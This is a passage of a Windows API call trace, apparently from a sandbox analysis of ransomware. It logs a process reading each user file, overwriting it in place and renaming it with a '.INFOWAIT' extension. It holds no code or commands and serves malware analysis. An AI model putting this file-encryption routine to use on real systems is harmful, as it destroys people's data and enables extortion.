halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0117.843] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2cf [0117.843] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0117.843] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.843] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2cf, lpOverlapped=0x0) returned 1 [0117.855] VirtualAlloc (lpAddress=0x0, dwSize=0x2cf, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0117.856] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.856] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2cf, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2cf, lpOverlapped=0x0) returned 1 [0117.856] CloseHandle (hObject=0xad0) returned 1 [0117.858] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" [0117.858] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.INFOWAIT" [0117.858] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.infowait")) returned 1 [0117.859] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.860] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.860] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0117.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0117.861] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x182ac2a [0117.861] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0117.861] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.861] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0117.906] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0117.919] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.919] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0117.920] CloseHandle (hObject=0xad0) returned 1 [0118.426] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" [0118.426] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.INFOWAIT" [0118.426] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.infowait")) returned 1 [0118.427] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.428] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.429] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.429] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0118.429] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdd600 [0118.429] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.430] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.430] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0118.457] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0118.470] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.471] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0118.471] CloseHandle (hObject=0xad0) returned 1 [0118.510] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" [0118.510] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.INFOWAIT" [0118.510] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.infowait")) returned 1 [0118.511] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.512] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.513] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0118.514] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x49a [0118.514] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.515] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.515] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x49a, lpOverlapped=0x0) returned 1 [0118.552] VirtualAlloc (lpAddress=0x0, dwSize=0x49a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.553] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.553] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x49a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x49a, lpOverlapped=0x0) returned 1 [0118.553] CloseHandle (hObject=0xad0) returned 1 [0118.555] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" [0118.555] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.INFOWAIT" [0118.555] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.infowait")) returned 1 [0118.556] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.557] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.557] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0118.557] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10b1e [0118.558] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.558] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.558] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x10b1e, lpOverlapped=0x0) returned 1 [0118.598] VirtualAlloc (lpAddress=0x0, dwSize=0x10b1e, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0118.604] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.604] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x10b1e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x10b1e, lpOverlapped=0x0) returned 1 [0118.605] CloseHandle (hObject=0xad0) returned 1 [0118.606] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" [0118.606] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.INFOWAIT" [0118.606] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.infowait")) returned 1 [0118.607] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.608] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.608] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0118.609] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x493 [0118.609] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.609] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.609] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x493, lpOverlapped=0x0) returned 1 [0118.650] VirtualAlloc (lpAddress=0x0, dwSize=0x493, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.651] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.651] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x493, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x493, lpOverlapped=0x0) returned 1 [0118.651] CloseHandle (hObject=0xad0) returned 1 [0118.657] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" [0118.657] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.INFOWAIT" [0118.657] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.infowait")) returned 1 [0118.658] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.659] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.659] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0118.661] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x499 [0118.661] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.661] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.661] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x499, lpOverlapped=0x0) returned 1 [0118.666] VirtualAlloc (lpAddress=0x0, dwSize=0x499, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.666] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.666] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x499, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x499, lpOverlapped=0x0) returned 1 [0118.666] CloseHandle (hObject=0xad0) returned 1 [0118.670] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" [0118.670] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.INFOWAIT" [0118.670] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.infowait")) returned 1 [0118.671] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.672] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.672] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0118.672] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x19c [0118.672] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.672] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.672] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x19c, lpOverlapped=0x0) returned 1 [0118.675] VirtualAlloc (lpAddress=0x0, dwSize=0x19c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.675] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.675] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x19c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x19c, lpOverlapped=0x0) returned 1 [0118.675] CloseHandle (hObject=0xad0) returned 1 [0118.677] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini" [0118.677] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini.INFOWAIT" [0118.677] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini.infowait")) returned 1 [0118.677] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.678] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.679] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0118.680] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x496 [0118.680] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.680] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.680] ReadFile (in: 